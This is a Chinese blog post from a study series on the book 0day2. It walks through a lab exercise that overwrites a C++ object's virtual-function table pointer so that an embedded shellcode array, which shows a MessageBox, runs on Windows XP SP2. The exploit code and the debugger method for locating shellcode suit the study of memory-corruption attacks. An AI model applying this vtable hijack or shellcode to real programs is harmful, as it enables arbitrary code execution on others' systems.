zoukankan      html  css  js  c++  java
  • 旧书重温:0day2【9】第六章 攻击c++的虚函数

    不知不觉,我们学到了0day2的第六章形形色色的内存攻击技术!其中,这张很多东西都是理论的东西,不过!我们还是要想办法还原下发生的现场!

    其中部分文章截图 http://user.qzone.qq.com/252738331/photo/V10U5YUk464GF5/  密码: NQK3S

    好久没有写文章了,最近刚买了新鼠标+新耳机,CF幽灵撸起来很牛B呀! 所以一直没时间研究溢出了,今天玩逆了CF,还是看看书吧!哈哈!就有了本文

    这篇文章如T:操作过程简单些,所以:先把这个搞定下,鼓舞下士气,哈哈!(xp sp2 +vc6.0 系统下载参考第一篇)

     1 // Attack_cpp_virtual_fun.cpp : Defines the entry point for the console application.
     2 //
     3 
     4 #include "stdafx.h"
     5 #include <stdio.h>
     6 #include <string.h>
     7 char shellcode[] = {
     8                 
     9                 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33"
    10                 "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30"
    11                 "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2"
    12                 "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05"
    13                 "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4"
    14                 "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66"
    15                 "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75"
    16                 "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57"
    17                 "xFCx53xFFx57xF8x74x7dx42"}; // 427d74 指向 overflow的buf 头,也就是复制过去的shllcode头位置
    18 class zhenw0
    19 {
    20 public:
    21     char buf[200];
    22     virtual void test(void)
    23     {
    24         printf("class zhenw0:test() 
    ");
    25 
    26     }
    27 };
    28 
    29 zhenw0 overflow,*p;
    30 
    31 int main(int argc, char* argv[])
    32 {
    33     char * p_vtable;
    34     
    35     p_vtable  = overflow.buf - 4;
    36     p_vtable[0] = 0x29;    // 427e29 指向 overflow.buf承载的shellcode末尾
    37     p_vtable[1] = 0x7e;
    38     p_vtable[2] = 0x42;
    39     p_vtable[3] = 0x00;
    40     strcpy(overflow.buf,shellcode);
    41     //__asm int 3
    42     p = &overflow;
    43     p->test();
    44 
    45 
    46     return 0;
    47 }

    就如文章描述一样 我们修改虚函数指针的指向,这里把 虚函数的指针指向了over.buf中的shellocde的末尾!

    而shllcode末尾指向了overflow.buf也就是我们的shllcode,当触发test()的时候,就通过与函数表找到了假的函数地址,就执行了shellcode 就MSGbox 了下

     

    其中:定位我们的shellcode 位置很重要, 我教大家个办法

    1.在shellcode 中 添加4个 x90 

    2.加入int3 od断下,在od的数据区搜索二进制字符串 

    其中没有执行strcpy函数以前,找到的是 全局的shllcode,执行了strcpy()就有两次,如何区分就简单了。。。

    ----------------------------------------------------

    | QQ252738331

    | Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)

    | 微博: http://t.qq.com/zhenw0

    ----------------------------------------------------

  • 相关阅读:
    高德地图(智能硬件)定位
    sql语句之条件,分页,排序
    MySQL语句基本操作增删改查
    语句基本操作,创建表,外键
    mysql权限操作
    Mysql数据库
    GIL
    计算密集型任务
    线程进程
    server端并发聊天
  • 原文地址:https://www.cnblogs.com/witty/p/0day2_9.html
Copyright © 2011-2022 走看看